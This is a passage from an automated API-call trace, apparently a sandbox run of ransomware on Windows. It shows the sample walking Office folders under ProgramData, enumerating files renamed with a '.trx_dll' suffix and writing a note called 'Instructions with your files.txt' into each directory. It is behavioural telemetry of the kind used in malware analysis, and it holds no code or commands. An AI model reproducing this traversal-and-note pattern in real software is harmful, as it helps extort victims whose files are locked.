[0122.561] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x35960, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="OUTLLI~1.TRX")) returned 1
[0122.561] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll") returned 72
[0122.561] StrStrIW (lpFirst="OUTLLIBR.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.561] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x9f560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="OUTLLI~2.TRX")) returned 1
[0122.561] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll") returned 73
[0122.561] StrStrIW (lpFirst="OUTLLIBR.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.561] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x315ed100, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x315ed100, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="OUTLWV~1.TRX")) returned 1
[0122.561] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll") returned 71
[0122.561] StrStrIW (lpFirst="OUTLWVW.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.561] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a4a9400, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1a4a9400, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0xd160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="PPINTL~1.TRX")) returned 1
[0122.561] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll") returned 70
[0122.561] StrStrIW (lpFirst="PPINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.561] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19196700, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x19196700, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0x43560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="PPINTL~2.TRX")) returned 1
[0122.561] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll") returned 71
[0122.561] StrStrIW (lpFirst="PPINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.561] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="PUB6IN~1.TRX")) returned 1
[0122.561] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll") returned 72
[0122.561] StrStrIW (lpFirst="PUB6INTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.561] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x57655500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57655500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x87f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="PUB6IN~2.TRX")) returned 1
[0122.561] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll") returned 73
[0122.561] StrStrIW (lpFirst="PUB6INTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.561] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2720b500, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2720b500, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x57f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="PUBWZI~1.TRX")) returned 1
[0122.561] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll") returned 73
[0122.561] StrStrIW (lpFirst="PUBWZINT.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.561] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x94d0df00, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x94d0df00, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="SGRESD~1.TRX")) returned 1
[0122.561] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll") returned 69
[0122.561] StrStrIW (lpFirst="SGRES.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.561] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca190500, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xca190500, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="STINTL~1.TRX")) returned 1
[0122.561] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll") returned 70
[0122.562] StrStrIW (lpFirst="STINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="VISBRR~1.TRX")) returned 1
[0122.562] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll") returned 72
[0122.562] StrStrIW (lpFirst="VISBRRES.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x70273800, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x70273800, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x73960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="VISINT~1.TRX")) returned 1
[0122.562] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll") returned 71
[0122.562] StrStrIW (lpFirst="VISINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1789a00, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa1789a00, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x24360, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="WWINTL~1.TRX")) returned 1
[0122.562] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll") returned 70
[0122.562] StrStrIW (lpFirst="WWINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2a9c700, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa2a9c700, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x110b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="WWINTL~2.TRX")) returned 1
[0122.562] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll") returned 71
[0122.562] StrStrIW (lpFirst="WWINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x23960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="XLINTL~1.TRX")) returned 1
[0122.562] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll") returned 72
[0122.562] StrStrIW (lpFirst="XLINTL32.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x126760, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="XLINTL~2.TRX")) returned 1
[0122.562] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll") returned 73
[0122.562] StrStrIW (lpFirst="XLINTL32.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 1
[0122.562] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll") returned 72
[0122.562] StrStrIW (lpFirst="XLSLICER.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.562] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 0
[0122.562] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\Instructions with your files.txt") returned 84
[0122.562] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0122.565] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0122.566] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0122.566] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0122.566] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0122.566] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0122.566] CloseHandle (hObject=0x114) returned 1
[0122.567] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0122.567] GetProcessHeap () returned 0x810000
[0122.567] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0122.567] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 0
[0122.567] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\Instructions with your files.txt") returned 79
[0122.567] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0122.567] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0122.568] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0122.568] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0122.568] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0122.568] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0122.568] CloseHandle (hObject=0x110) returned 1
[0122.568] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0122.568] GetProcessHeap () returned 0x810000
[0122.568] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0122.568] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 0
[0122.569] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\Instructions with your files.txt") returned 68
[0122.569] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\office\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0122.571] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0122.572] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0122.572] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0122.572] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0122.572] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0122.572] CloseHandle (hObject=0x10c) returned 1
[0122.572] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0122.573] GetProcessHeap () returned 0x810000
[0122.573] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0122.573] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
[0122.573] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned 61
[0122.573] GetProcessHeap () returned 0x810000
[0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0122.573] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned 63
[0122.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0122.575] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\.") returned 63
[0122.575] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.575] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\..") returned 64
